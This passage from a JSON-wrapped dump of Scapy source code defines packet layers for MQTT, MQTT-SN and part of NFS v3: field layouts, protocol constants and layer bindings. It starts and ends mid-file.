unsubscribe\"\n    fields_desc = [\n        ShortField(\"msgid\", None),\n        PacketListField(\"topics\", [], pkt_cls=MQTTTopic)\n    ]\n\n\nclass MQTTUnsuback(Packet):\n    name = \"MQTT unsuback\"\n    fields_desc = [\n        ShortField(\"msgid\", None)\n    ]\n\n\n# LAYERS BINDINGS\n\nbind_layers(TCP, MQTT, sport=1883)\nbind_layers(TCP, MQTT, dport=1883)\nbind_layers(MQTT, MQTTConnect, type=1)\nbind_layers(MQTT, MQTTConnack, type=2)\nbind_layers(MQTT, MQTTPublish, type=3)\nbind_layers(MQTT, MQTTPuback, type=4)\nbind_layers(MQTT, MQTTPubrec, type=5)\nbind_layers(MQTT, MQTTPubrel, type=6)\nbind_layers(MQTT, MQTTPubcomp, type=7)\nbind_layers(MQTT, MQTTSubscribe, type=8)\nbind_layers(MQTT, MQTTSuback, type=9)\nbind_layers(MQTT, MQTTUnsubscribe, type=10)\nbind_layers(MQTT, MQTTUnsuback, type=11)\nbind_layers(MQTT, MQTTDisconnect, type=14)\nbind_layers(MQTTConnect, MQTT)\nbind_layers(MQTTConnack, MQTT)\nbind_layers(MQTTPublish, MQTT)\nbind_layers(MQTTPuback, MQTT)\nbind_layers(MQTTPubrec, MQTT)\nbind_layers(MQTTPubrel, MQTT)\nbind_layers(MQTTPubcomp, MQTT)\nbind_layers(MQTTSubscribe, MQTT)\nbind_layers(MQTTSuback, MQTT)\nbind_layers(MQTTUnsubscribe, MQTT)\nbind_layers(MQTTUnsuback, MQTT)\nbind_layers(MQTTDisconnect, MQTT)\n"
  },
  {
    "path": "scapy/contrib/mqttsn.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2019 Freie Universitaet Berlin\n\n\"\"\"\nMQTT for Sensor Networks (MQTT-SN)\n\nSpecification:\nhttp://www.mqtt.org/new/wp-content/uploads/2009/06/MQTT-SN_spec_v1.2.pdf\n\"\"\"\n\n\n# scapy.contrib.description = MQTT for Sensor Networks (MQTT-SN)\n# scapy.contrib.status = loads\n\nfrom scapy.packet import Packet, bind_layers, bind_bottom_up\nfrom scapy.fields import BitField, BitEnumField, ByteField, ByteEnumField, \\\n    ConditionalField, FieldLenField, ShortField, StrFixedLenField, \\\n    StrLenField, XByteEnumField\nfrom scapy.layers.inet import UDP\nfrom scapy.error import Scapy_Exception\nfrom scapy.compat import chb, orb\nfrom scapy.volatile import RandNum\nimport struct\n\n\n# Constants\nADVERTISE = 0x00\nSEARCHGW = 0x01\nGWINFO = 0x02\nCONNECT = 0x04\nCONNACK = 0x05\nWILLTOPICREQ = 0x06\nWILLTOPIC = 0x07\nWILLMSGREQ = 0x08\nWILLMSG = 0x09\nREGISTER = 0x0a\nREGACK = 0x0b\nPUBLISH = 0x0c\nPUBACK = 0x0d\nPUBCOMP = 0x0e\nPUBREC = 0x0f\nPUBREL = 0x10\nSUBSCRIBE = 0x12\nSUBACK = 0x13\nUNSUBSCRIBE = 0x14\nUNSUBACK = 0x15\nPINGREQ = 0x16\nPINGRESP = 0x17\nDISCONNECT = 0x18\nWILLTOPICUPD = 0x1a\nWILLTOPICRESP = 0x1b\nWILLMSGUPD = 0x1c\nWILLMSGRESP = 0x1d\nENCAPS_MSG = 0xfe\n\nQOS_0 = 0b00\nQOS_1 = 0b01\nQOS_2 = 0b10\nQOS_NEG1 = 0b11\n\nTID_NORMAL = 0b00\nTID_PREDEF = 0b01\nTID_SHORT = 0b10\nTID_RESVD = 0b11\n\n\nACCEPTED = 0x00\nREJ_CONJ = 0x01\nREJ_TID = 0x02\nREJ_NOTSUP = 0x03\n\n\n# Custom fields\nclass VariableFieldLenField(FieldLenField):\n    \"\"\"\n    MQTT-SN length field either has 1 byte for values [0x02, 0xff] or 3 bytes\n    for values [0x0100, 0xffff]. If the first byte is 0x01 the length value\n    comes in network byte-order in the next 2 bytes. MQTT-SN packets are at\n    least 2 bytes long (length field + type field).\n    \"\"\"\n    def addfield(self, pkt, s, val):\n        val = self.i2m(pkt, val)\n        if (val < 2) or (val > 0xffff):\n            raise Scapy_Exception(\"%s: invalid length field value\" %\n                                  self.__class__.__name__)\n        elif val > 0xff:\n            return s + b\"\\x01\" + struct.pack(\"!H\", val)\n        else:\n            return s + chb(val)\n\n    def getfield(self, pkt, s):\n        if orb(s[0]) == 0x01:\n            if len(s) < 3:\n                raise Scapy_Exception(\"%s: malformed length field\" %\n                                      self.__class__.__name__)\n            return s[3:], (orb(s[1]) << 8) | orb(s[2])\n        else:\n            return s[1:], orb(s[0])\n\n    def randval(self):\n        return RandVariableFieldLen()\n\n    def __init__(self, *args, **kwargs):\n        super(VariableFieldLenField, self).__init__(*args, **kwargs)\n\n\nclass RandVariableFieldLen(RandNum):\n    def __init__(self):\n        super(RandVariableFieldLen, self).__init__(0, 0xffff)\n\n\n# Layers\nPACKET_TYPE = {\n    ADVERTISE: \"ADVERTISE\",\n    SEARCHGW: \"SEARCHGW\",\n    GWINFO: \"GWINFO\",\n    CONNECT: \"CONNECT\",\n    CONNACK: \"CONNACK\",\n    WILLTOPICREQ: \"WILLTOPICREQ\",\n    WILLTOPIC: \"WILLTOPIC\",\n    WILLMSGREQ: \"WILLMSGREQ\",\n    WILLMSG: \"WILLMSG\",\n    REGISTER: \"REGISTER\",\n    REGACK: \"REGACK\",\n    PUBLISH: \"PUBLISH\",\n    PUBACK: \"PUBACK\",\n    PUBCOMP: \"PUBCOMP\",\n    PUBREC: \"PUBREC\",\n    PUBREL: \"PUBREL\",\n    SUBSCRIBE: \"SUBSCRIBE\",\n    SUBACK: \"SUBACK\",\n    UNSUBSCRIBE: \"UNSUBSCRIBE\",\n    UNSUBACK: \"UNSUBACK\",\n    PINGREQ: \"PINGREQ\",\n    PINGRESP: \"PINGRESP\",\n    DISCONNECT: \"DISCONNECT\",\n    WILLTOPICUPD: \"WILLTOPICUPD\",\n    WILLTOPICRESP: \"WILLTOPICRESP\",\n    WILLMSGUPD: \"WILLMSGUPD\",\n    WILLMSGRESP: \"WILLMSGRESP\",\n    ENCAPS_MSG: \"Encapsulated message\",\n}\n\n\nQOS_LEVELS = {\n    QOS_0: 'Fire and Forget',\n    QOS_1: 'Acknowledged deliver',\n    QOS_2: 'Assured Delivery',\n    QOS_NEG1: 'No Connection required',\n}\n\n\nTOPIC_ID_TYPES = {\n    TID_NORMAL: 'Normal ID',\n    TID_PREDEF: 'Pre-defined ID',\n    TID_SHORT: 'Short Topic Name',\n    TID_RESVD: 'Reserved',\n}\n\n\nRETURN_CODES = {\n    ACCEPTED: \"Accepted\",\n    REJ_CONJ: \"Rejected: congestion\",\n    REJ_TID: \"Rejected: invalid topic ID\",\n    REJ_NOTSUP: \"Rejected: not supported\",\n}\n\n\nFLAG_FIELDS = [\n    BitField(\"dup\", 0, 1),\n    BitEnumField(\"qos\", QOS_0, 2, QOS_LEVELS),\n    BitField(\"retain\", 0, 1),\n    BitField(\"will\", 0, 1),\n    BitField(\"cleansess\", 0, 1),\n    BitEnumField(\"tid_type\", TID_NORMAL, 2, TOPIC_ID_TYPES),\n]\n\n\ndef _mqttsn_length_from(size_until):\n    def fun(pkt):\n        if (hasattr(pkt.underlayer, \"len\")):\n            if pkt.underlayer.len > 0xff:\n                return pkt.underlayer.len - size_until - 4\n            elif (pkt.underlayer.len > 1) and (pkt.underlayer.len < 0xffff):\n                return pkt.underlayer.len - size_until - 2\n        # assume string to be of length 0\n        return len(pkt.payload) - size_until + 1\n    return fun\n\n\ndef _mqttsn_len_adjust(pkt, x):\n    res = x + len(pkt.payload)\n    if (pkt.type == DISCONNECT) and \\\n       (getattr(pkt.payload, \"duration\", None) is None):\n        res -= 2    # duration is optional with DISCONNECT\n    elif (pkt.type == ENCAPS_MSG) and \\\n         (getattr(pkt.payload, \"w_node_id\", None) is not None):\n        res = x + len(pkt.payload.w_node_id) + 1\n    if res > 0xff:\n        res += 2\n    return res\n\n\nclass MQTTSN(Packet):\n    name = \"MQTT-SN header\"\n    fields_desc = [\n        # Since the size of the len field depends on the next layer, we\n        # need to \"cheat\" with the length_of parameter and use adjust\n        # parameter to calculate the value.\n        VariableFieldLenField(\"len\", None, length_of=\"len\",\n                              adjust=_mqttsn_len_adjust),\n        XByteEnumField(\"type\", 0, PACKET_TYPE),\n    ]\n\n\nclass MQTTSNAdvertise(Packet):\n    name = \"MQTT-SN advertise gateway\"\n    fields_desc = [\n        ByteField(\"gw_id\", 0),\n        ShortField(\"duration\", 0),\n    ]\n\n\nclass MQTTSNSearchGW(Packet):\n    name = \"MQTT-SN search gateway\"\n    fields_desc = [\n        ByteField(\"radius\", 0),\n    ]\n\n\nclass MQTTSNGwInfo(Packet):\n    name = \"MQTT-SN gateway info\"\n    fields_desc = [\n        ByteField(\"gw_id\", 0),\n        StrLenField(\"gw_addr\", \"\", length_from=_mqttsn_length_from(1)),\n    ]\n\n\nclass MQTTSNConnect(Packet):\n    name = \"MQTT-SN connect command\"\n    fields_desc = FLAG_FIELDS + [\n        ByteField(\"prot_id\", 1),\n        ShortField(\"duration\", 0),\n        StrLenField(\"client_id\", \"\", length_from=_mqttsn_length_from(4)),\n    ]\n\n\nclass MQTTSNConnack(Packet):\n    name = \"MQTT-SN connect ACK\"\n    fields_desc = [\n        ByteEnumField(\"return_code\", ACCEPTED, RETURN_CODES),\n    ]\n\n\nclass MQTTSNWillTopicReq(Packet):\n    name = \"MQTT-SN will topic request\"\n\n\nclass MQTTSNWillTopic(Packet):\n    name = \"MQTT-SN will topic\"\n    fields_desc = FLAG_FIELDS + [\n        StrLenField(\"will_topic\", \"\", length_from=_mqttsn_length_from(1)),\n    ]\n\n\nclass MQTTSNWillMsgReq(Packet):\n    name = \"MQTT-SN will message request\"\n\n\nclass MQTTSNWillMsg(Packet):\n    name = \"MQTT-SN will message\"\n    fields_desc = [\n        StrLenField(\"will_msg\", \"\", length_from=_mqttsn_length_from(0))\n    ]\n\n\nclass MQTTSNRegister(Packet):\n    name = \"MQTT-SN register\"\n    fields_desc = [\n        ShortField(\"tid\", 0),\n        ShortField(\"mid\", 0),\n        StrLenField(\"topic_name\", \"\", length_from=_mqttsn_length_from(4)),\n    ]\n\n\nclass MQTTSNRegack(Packet):\n    name = \"MQTT-SN register ACK\"\n    fields_desc = [\n        ShortField(\"tid\", 0),\n        ShortField(\"mid\", 0),\n        ByteEnumField(\"return_code\", ACCEPTED, RETURN_CODES),\n    ]\n\n\nclass MQTTSNPublish(Packet):\n    name = \"MQTT-SN publish message\"\n    fields_desc = FLAG_FIELDS + [\n        ShortField(\"tid\", 0),\n        ShortField(\"mid\", 0),\n        StrLenField(\"data\", \"\", length_from=_mqttsn_length_from(5)),\n    ]\n\n\nclass MQTTSNPuback(Packet):\n    name = \"MQTT-SN publish ACK\"\n    fields_desc = [\n        ShortField(\"tid\", 0),\n        ShortField(\"mid\", 0),\n        ByteEnumField(\"return_code\", ACCEPTED, RETURN_CODES),\n    ]\n\n\nclass MQTTSNPubcomp(Packet):\n    name = \"MQTT-SN publish complete\"\n    fields_desc = [\n        ShortField(\"mid\", 0),\n    ]\n\n\nclass MQTTSNPubrec(Packet):\n    name = \"MQTT-SN publish received\"\n    fields_desc = [\n        ShortField(\"mid\", 0),\n    ]\n\n\nclass MQTTSNPubrel(Packet):\n    name = \"MQTT-SN publish release\"\n    fields_desc = [\n        ShortField(\"mid\", 0),\n    ]\n\n\nclass MQTTSNSubscribe(Packet):\n    name = \"MQTT-SN subscribe request\"\n    fields_desc = FLAG_FIELDS + [\n        ShortField(\"mid\", 0),\n        ConditionalField(ShortField(\"tid\", None),\n                         lambda pkt: pkt.tid_type == 0b01),\n        ConditionalField(StrFixedLenField(\"short_topic\", None, length=2),\n                         lambda pkt: pkt.tid_type == 0b10),\n        ConditionalField(StrLenField(\"topic_name\", None,\n                                     length_from=_mqttsn_length_from(3)),\n                         lambda pkt: pkt.tid_type not in [0b01, 0b10]),\n    ]\n\n\nclass MQTTSNSuback(Packet):\n    name = \"MQTT-SN subscribe ACK\"\n    fields_desc = FLAG_FIELDS + [\n        ShortField(\"tid\", 0),\n        ShortField(\"mid\", 0),\n        ByteEnumField(\"return_code\", ACCEPTED, RETURN_CODES),\n    ]\n\n\nclass MQTTSNUnsubscribe(Packet):\n    name = \"MQTT-SN unsubscribe request\"\n    fields_desc = FLAG_FIELDS + [\n        ShortField(\"mid\", 0),\n        ConditionalField(ShortField(\"tid\", None),\n                         lambda pkt: pkt.tid_type == 0b01),\n        ConditionalField(StrFixedLenField(\"short_topic\", None, length=2),\n                         lambda pkt: pkt.tid_type == 0b10),\n        ConditionalField(StrLenField(\"topic_name\", None,\n                                     length_from=_mqttsn_length_from(3)),\n                         lambda pkt: pkt.tid_type not in [0b01, 0b10]),\n    ]\n\n\nclass MQTTSNUnsuback(Packet):\n    name = \"MQTT-SN unsubscribe ACK\"\n    fields_desc = [\n        ShortField(\"mid\", 0),\n    ]\n\n\nclass MQTTSNPingReq(Packet):\n    name = \"MQTT-SN ping request\"\n    fields_desc = [\n        StrLenField(\"client_id\", \"\", length_from=_mqttsn_length_from(0)),\n    ]\n\n\nclass MQTTSNPingResp(Packet):\n    name = \"MQTT-SN ping response\"\n\n\nclass MQTTSNDisconnect(Packet):\n    name = \"MQTT-SN disconnect request\"\n    fields_desc = [\n        ConditionalField(\n            ShortField(\"duration\", None),\n            lambda pkt: hasattr(pkt.underlayer, \"len\") and\n            ((pkt.underlayer.len is None) or (pkt.underlayer.len > 2))\n        ),\n    ]\n\n\nclass MQTTSNWillTopicUpd(Packet):\n    name = \"MQTT-SN will topic update\"\n    fields_desc = FLAG_FIELDS + [\n        StrLenField(\"will_topic\", \"\", length_from=_mqttsn_length_from(1)),\n    ]\n\n\nclass MQTTSNWillTopicResp(Packet):\n    name = \"MQTT-SN will topic response\"\n    fields_desc = [\n        ByteEnumField(\"return_code\", ACCEPTED, RETURN_CODES),\n    ]\n\n\nclass MQTTSNWillMsgUpd(Packet):\n    name = \"MQTT-SN will message update\"\n    fields_desc = [\n        StrLenField(\"will_msg\", \"\", length_from=_mqttsn_length_from(0))\n    ]\n\n\nclass MQTTSNWillMsgResp(Packet):\n    name = \"MQTT-SN will message response\"\n    fields_desc = [\n        ByteEnumField(\"return_code\", ACCEPTED, RETURN_CODES),\n    ]\n\n\nclass MQTTSNEncaps(Packet):\n    name = \"MQTT-SN encapsulated message\"\n    fields_desc = [\n        BitField(\"resvd\", 0, 6),\n        BitField(\"radius\", 0, 2),\n        StrLenField(\n            \"w_node_id\", \"\",\n            length_from=_mqttsn_length_from(1)\n        ),\n    ]\n\n\n# Layer bindings\nbind_bottom_up(UDP, MQTTSN, sport=1883)\nbind_bottom_up(UDP, MQTTSN, dport=1883)\nbind_layers(UDP, MQTTSN, dport=1883, sport=1883)\nbind_layers(MQTTSN, MQTTSNAdvertise, type=ADVERTISE)\nbind_layers(MQTTSN, MQTTSNSearchGW, type=SEARCHGW)\nbind_layers(MQTTSN, MQTTSNGwInfo, type=GWINFO)\nbind_layers(MQTTSN, MQTTSNConnect, type=CONNECT)\nbind_layers(MQTTSN, MQTTSNConnack, type=CONNACK)\nbind_layers(MQTTSN, MQTTSNWillTopicReq, type=WILLTOPICREQ)\nbind_layers(MQTTSN, MQTTSNWillTopic, type=WILLTOPIC)\nbind_layers(MQTTSN, MQTTSNWillMsgReq, type=WILLMSGREQ)\nbind_layers(MQTTSN, MQTTSNWillMsg, type=WILLMSG)\nbind_layers(MQTTSN, MQTTSNRegister, type=REGISTER)\nbind_layers(MQTTSN, MQTTSNRegack, type=REGACK)\nbind_layers(MQTTSN, MQTTSNPublish, type=PUBLISH)\nbind_layers(MQTTSN, MQTTSNPuback, type=PUBACK)\nbind_layers(MQTTSN, MQTTSNPubcomp, type=PUBCOMP)\nbind_layers(MQTTSN, MQTTSNPubrec, type=PUBREC)\nbind_layers(MQTTSN, MQTTSNPubrel, type=PUBREL)\nbind_layers(MQTTSN, MQTTSNSubscribe, type=SUBSCRIBE)\nbind_layers(MQTTSN, MQTTSNSuback, type=SUBACK)\nbind_layers(MQTTSN, MQTTSNUnsubscribe, type=UNSUBSCRIBE)\nbind_layers(MQTTSN, MQTTSNUnsuback, type=UNSUBACK)\nbind_layers(MQTTSN, MQTTSNPingReq, type=PINGREQ)\nbind_layers(MQTTSN, MQTTSNPingResp, type=PINGRESP)\nbind_layers(MQTTSN, MQTTSNDisconnect, type=DISCONNECT)\nbind_layers(MQTTSN, MQTTSNWillTopicUpd, type=WILLTOPICUPD)\nbind_layers(MQTTSN, MQTTSNWillTopicResp, type=WILLTOPICRESP)\nbind_layers(MQTTSN, MQTTSNWillMsgUpd, type=WILLMSGUPD)\nbind_layers(MQTTSN, MQTTSNWillMsgResp, type=WILLMSGRESP)\nbind_layers(MQTTSN, MQTTSNEncaps, type=ENCAPS_MSG)\nbind_layers(MQTTSNEncaps, MQTTSN)\n"
  },
  {
    "path": "scapy/contrib/nfs.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Lucas Preston <lucas.preston@infinite.io>\n\n# scapy.contrib.description = Network File System (NFS) v3\n# scapy.contrib.status = loads\n\nfrom scapy.contrib.oncrpc import RPC, RPC_Call, Object_Name\nfrom binascii import unhexlify\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import IntField, IntEnumField, FieldListField, LongField, \\\n    XIntField, XLongField, ConditionalField, PacketListField, StrLenField, \\\n    PacketField\n\nnfsstat3 = {\n    0: 'NFS3_OK',\n    1: 'NFS3ERR_PERM',\n    2: 'NFS3ERR_NOENT',\n    5: 'NFS3ERR_IO',\n    6: 'NFS3ERR_NXIO',\n    13: 'NFS3ERR_ACCES',\n    17: 'NFS3ERR_EXIST',\n    18: 'NFS3ERR_XDEV',\n    19: 'NFS3ERR_NODEV',\n    20: 'NFS3ERR_NOTDIR',\n    21: 'NFS3ERR_ISDIR',\n    22: 'NFS3ERR_INVAL',\n    27: 'NFS3ERR_FBIG',\n    28: 'NFS3ERR_NOSPC',\n    30: 'NFS3ERR_ROFS',\n    31: 'NFS3ERR_MLINK',\n    63: 'NFS3ERR_NAMETOOLONG',\n    66: 'NFS3ERR_NOTEMPTY',\n    69: 'NFS3ERR_DQUOT',\n    70: 'NFS3ERR_STALE',\n    71: 'NFS3ERR_REMOTE',\n    10001: 'NFS3ERR_BADHANDLE',\n    10002: 'NFS3ERR_NOT_SYNC',\n    10003: 'NFS3ERR_BAD_COOKIE',\n    10004: 'NFS3ERR_NOTSUPP',\n    10005: 'NFS3ERR_TOOSMALL',\n    10006: 'NFS3ERR_SERVERFAULT',\n    10007: 'NFS3ERR_BADTYPE',\n    10008: 'NFS3ERR_JUKEBOX'\n}\n\nftype3 = {\n    1: 'NF3REG',\n    2: 'NF3DIR',\n    3: 'NF3BLK',\n    4: 'NF3CHR',\n    5: 'NF3LNK',\n    6: 'NF3SOCK',\n    7: 'NF3FIFO'\n}\n\n\ndef loct(x):\n    if isinstance(x, int):\n        return oct(x)\n    if isinstance(x, tuple):\n        return \"(%s)\" % \", \".join(map(loct, x))\n    if isinstance(x, list):\n        return \"[%s]\" % \", \".join(map(loct, x))\n    return x\n\n\nclass OIntField(IntField):\n    \"\"\"IntField child with octal representation\"\"\"\n    def i2repr(self, pkt, x):\n        return loct(self.i2h(pkt, x))\n\n\nclass Fattr3(Packet):\n    name = 'File Attributes'\n    fields_desc = [\n        IntEnumField('type', 0, ftype3),\n        OIntField('mode', 0),\n        IntField('nlink', 0),\n        IntField('uid', 0),\n        IntField('gid', 0),\n        LongField('size', 0),\n        LongField('used', 0),\n        FieldListField(\n            'rdev', [0, 0], IntField('', None), count_from=lambda x: 2\n        ),\n        XLongField('fsid', 0),\n        XLongField('fileid', 0),\n        IntField('atime_s', 0),\n        IntField('atime_ns', 0),\n        IntField('mtime_s', 0),\n        IntField('mtime_ns', 0),\n        IntField('ctime_s', 0),\n        IntField('ctime_ns', 0)\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass File_Object(Packet):\n    name = 'File Object'\n    fields_desc = [\n        IntField('length', 0),\n        StrLenField('fh', b'', length_from=lambda pkt: pkt.length),\n        StrLenField('fill', b'', length_from=lambda pkt: (4 - pkt.length) % 4)\n    ]\n\n    def set(self, new_filehandle, length=None, fill=None):\n        # convert filehandle to bytes if it was passed as a string\n        if new_filehandle.isalnum():\n            new_filehandle = unhexlify(new_filehandle)\n\n        if length is None:\n            length = len(new_filehandle)\n        if fill is None:\n            fill = b'\\x00' * ((4 - length) % 4)\n\n        self.length = length\n        self.fh = new_filehandle\n        self.fill = fill\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass WCC_Attr(Packet):\n    name = 'File Attributes'\n    fields_desc = [\n        LongField('size', 0),\n        IntField('mtime_s', 0),\n        IntField('mtime_ns', 0),\n        IntField('ctime_s', 0),\n        IntField('ctime_ns', 0)\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass File_From_Dir_Plus(Packet):\n    name = 'File'\n    fields_desc = [\n        LongField('fileid', 0),\n        PacketField('filename', Object_Name(), Object_Name),\n        LongField('cookie', 0),\n        IntField('attributes_follow', 0),\n        ConditionalField(\n            PacketField('attributes', Fattr3(), Fattr3),\n            lambda pkt: pkt.attributes_follow == 1\n        ),\n        IntField('handle_follows', 0),\n        ConditionalField(\n            PacketField('filehandle', File_Object(), File_Object),\n            lambda pkt: pkt.handle_follows == 1\n        ),\n        IntField('value_follows', 0)\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass File_From_Dir(Packet):\n    name = 'File'\n    fields_desc = [\n        LongField('fileid', 0),\n        PacketField('filename', Object_Name(), Object_Name),\n        LongField('cookie', 0),\n        IntField('value_follows', 0)\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nattrs_enum = {0: 'DONT SET', 1: 'SET'}\ntimes_enum = {0: 'DONT CHANGE', 1: 'SERVER TIME', 2: 'CLIENT TIME'}\n\n\nclass Sattr3(Packet):\n    name = 'Setattr3'\n    fields_desc = [\n        IntEnumField('set_mode', 0, attrs_enum),\n        ConditionalField(OIntField('mode', 0), lambda pkt: pkt.set_mode == 1),\n        IntEnumField('set_uid', 0, attrs_enum),\n        ConditionalField(IntField('uid', 0), lambda pkt: pkt.set_uid == 1),\n        IntEnumField('set_gid', 0, attrs_enum),\n        ConditionalField(IntField('gid', 0), lambda pkt: pkt.set_gid == 1),\n        IntEnumField('set_size', 0, attrs_enum),\n        ConditionalField(LongField('size', 0), lambda pkt: pkt.set_size == 1),\n        IntEnumField('set_atime', 0, times_enum),\n        ConditionalField(\n            IntField('atime_s', 0), lambda pkt: pkt.set_atime == 2\n        ),\n        ConditionalField(\n            IntField('atime_ns', 0), lambda pkt: pkt.set_atime == 2\n        ),\n        IntEnumField('set_mtime', 0, times_enum),\n        ConditionalField(\n            IntField('mtime_s', 0), lambda pkt: pkt.set_mtime == 2\n        ),\n        ConditionalField(\n            IntField('mtime_ns', 0), lambda pkt: pkt.set_mtime == 2\n        )\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass GETATTR_Call(Packet):\n    name = 'GETATTR Call'\n    fields_desc = [\n        PacketField('filehandle', File_Object(), File_Object)\n    ]\n\n\nclass GETATTR_Reply(Packet):\n    name = 'GETATTR Reply'\n    fields_desc = [\n        IntEnumField('status', 0, nfsstat3),\n        ConditionalField(\n            PacketField('attributes', Fattr3(), Fattr3),\n            lambda pkt: pkt.status == 0\n        )\n    ]\n\n    def extract_padding(self, s):\n        return '', None\n\n\nbind_layers(RPC, GETATTR_Call, mtype=0)\nbind_layers(\n    RPC_Call, GETATTR_Call, program=100003, pversion=3, procedure=1\n)\nbind_layers(RPC, GETATTR_Reply, mtype=1)\n\n\nclass LOOKUP_Call(Packet):\n    name = 'LOOKUP Call'\n    fields_desc = [\n        PacketField('dir', File_Object(), File_Object),\n        PacketField('filename', Object_Name(), Object_Name)\n    ]\n\n\nclass LOOKUP_Reply(Packet):\n    name = 'LOOKUP Reply'\n    fields_desc = [\n        IntEnumField('status', 0, nfsstat3),\n        ConditionalField(\n            PacketField('filehandle', File_Object(), File_Object),\n            lambda pkt: pkt.status == 0\n        ),\n        ConditionalField(IntField('af_file', 0), lambda pkt: pkt.status == 0),\n        ConditionalField(\n            PacketField('file_attributes', Fattr3(), Fattr3),\n            lambda pkt: pkt.status == 0 and pkt.af_file == 1\n        ),\n        IntField('af_dir', 0),\n        ConditionalField(\n            PacketField('dir_attributes', Fattr3(), Fattr3),\n            lambda pkt: pkt.af_dir == 1\n        )\n    ]\n\n\nbind_layers(RPC, LOOKUP_Call, mtype=0)\nbind_layers(RPC, LOOKUP_Reply, mtype=1)\nbind_layers(RPC_Call, LOOKUP_Call, program=100003, pversion=3, procedure=3)\n\n\nclass NULL_Call(Packet):\n    name = 'NFS NULL Call'\n    fields_desc = []\n\n\nclass NULL_Reply(Packet):\n    name = 'NFS NULL Reply'\n    fields_desc = []\n\n\nbind_layers(RPC, NULL_Call, mtype=0)\nbind_layers(RPC, NULL_Reply, mtype=1)\nbind_layers(RPC_Call, NULL_Call, program=100003, pversion=3, procedure=0)\n\n\nclass FSINFO_Call(Packet):\n    name = 'FSINFO Call'\n    fields_desc = [\n        PacketField('filehandle', File_Object(), File_Object)\n    ]\n\n\nclass FSINFO_Reply(Packet):\n    name = 'FSINFO Reply'\n    fields_desc = [\n        IntEnumField('status', 0, nfsstat3),\n        IntField('attributes_follow', 0),\n        ConditionalField(\n            PacketField('attributes', Fattr3(), Fattr3),\n            lambda pkt: pkt.attributes_follow == 1\n        ),\n        ConditionalField(IntField('rtmax', 0), lambda pkt: pkt.status == 0),\n        ConditionalField(IntField('rtpref', 0), lambda pkt: pkt.status == 0),\n        ConditionalField(IntField('rtmult', 0), lambda pkt: pkt.status == 0),\n        ConditionalField(IntField('wtmax', 0), lambda pkt: pkt.status == 0),\n        ConditionalField(IntField('wtpref', 0), lambda pkt: pkt.status == 0),\n        ConditionalField(IntField('wtmult', 0), lambda pkt: pkt.status == 0),\n        ConditionalField(IntField('dtpref', 0), lambda pkt: pkt.status == 0),\n        ConditionalField(\n            LongField('maxfilesize', 0), lambda pkt: pkt.status == 0\n        ),\n        ConditionalField(\n            IntField('timedelta_s', 0), lambda pkt: pkt.status == 0\n        ),\n        ConditionalField(\n            IntField('timedelta_ns', 0), lambda pkt: pkt.status == 0\n        ),\n        ConditionalField(\n            XIntField('properties', 0), lambda pkt: pkt.status == 0\n        ),\n    ]\n\n\nbind_layers(RPC, FSINFO_Call, mtype=0)\nbind_layers(RPC, FSINFO_Reply, mtype=1)\nbind_layers(\n    RPC_Call, FSINFO_Call, program=100003, pversion=3, procedure=19\n)\n\n\nclass PATHCONF_Call(Packet):\n    name = 'PATHCONF Call'\n    fields_desc = [\n        PacketField('filehandle', File_Object(), File_Object)\n    ]\n\n\nclass PATHCONF_Reply(Packet):\n    name = 'PATHCONF Reply'\n    fields_desc = [\n        IntEnumField('status', 0, nfsstat3),\n        IntField('attributes_follow', 0),\n        ConditionalField(\n            PacketField('attributes', Fattr3(), Fattr3),\n            lambda pkt: pkt.attributes_follow == 1\n        ),\n        ConditionalField(IntField('linkmax', 0), lambda pkt: pkt.status == 0),\n        ConditionalField(IntField('name_max', 0), lambda pkt: pkt.status == 0),\n        ConditionalField(\n            IntEnumField('no_trunc', 0, {0: 'NO', 1: 'YES'}),\n            lambda pkt: pkt.status == 0\n        ),\n        ConditionalField(\n            IntEnumField('chown_restricted', 0, {0: 'NO', 1: 'YES'}),\n            lambda pkt: pkt.status == 0\n        ),\n        ConditionalField(\n            IntEnumField('case_insensitive', 0, {0: 'NO', 1: 'YES'}),\n            lambda pkt: pkt.status == 0\n        ),\n        ConditionalField(\n            IntEnumField('case_preserving', 0, {0: 'NO', 1: 'YES'}),\n            lambda pkt: pkt.status == 0\n        )\n    ]\n\n\nbind_layers(RPC, PATHCONF_Call, mtype=0)\nbind_layers(RPC, PATHCONF_Reply, mtype=1)\nbind_layers(\n    RPC_Call, PATHCONF_Call, program=100003, pversion=3, procedure=20\n)\n\naccess_specs = {\n    0x0001: 'READ',\n    0x0002: 'LOOKUP',\n    0x0004: 'MODIFY',\n    0x0008: 'EXTEND',\n    0x0010: 'DELETE',\n    0x0020: 'EXECUTE'\n}\n\n\nclass ACCESS_Call(Packet):\n    name = 'ACCESS Call'\n    fields_desc = [\n        PacketField('filehandle', File_Object(), File_Object),\n        IntEnumField('check_access', 1, access_specs)\n    ]\n\n\nclass ACCESS_Reply(Packet):\n    name = 'ACCESS Reply'\n    fields_desc = [\n        IntEnumField('status', 0, nfsstat3),\n        IntField('attributes_follow', 0),\n        ConditionalField(\n            PacketField('attributes', Fattr3(), Fattr3),\n            lambda pkt: pkt.attributes_follow == 1\n        ),\n        ConditionalField(\n            XIntField('access_rights', 0), lambda pkt: pkt.status == 0\n        )\n    ]\n\n\nbind_layers(RPC, ACCESS_Call, mtype=0)\nbind_layers(RPC, ACCESS_Reply, mtype=1)\nbind_layers(RPC_Call, ACCESS_Call, program=100003, pversion=3, procedure=4)\n\n\nclass READDIRPLUS_Call(Packet):\n    name = 'READDIRPLUS Call'\n    fields_desc = [\n        PacketField('filehandle', File_Object(), File_Object),\n        LongField('cookie', 0),\n        LongField('verifier', 0),\n        IntField('dircount', 512),\n        IntField('maxcount', 4096)\n    ]\n\n\nclass READDIRPLUS_Reply(Packet):\n    name = 'READDIRPLUS Reply'\n    fields_desc = [\n        IntEnumField('status', 0, nfsstat3),\n        IntField('attributes_follow', 0),\n        ConditionalField(\n            PacketField('attributes', Fattr3(), Fattr3),\n            lambda pkt: 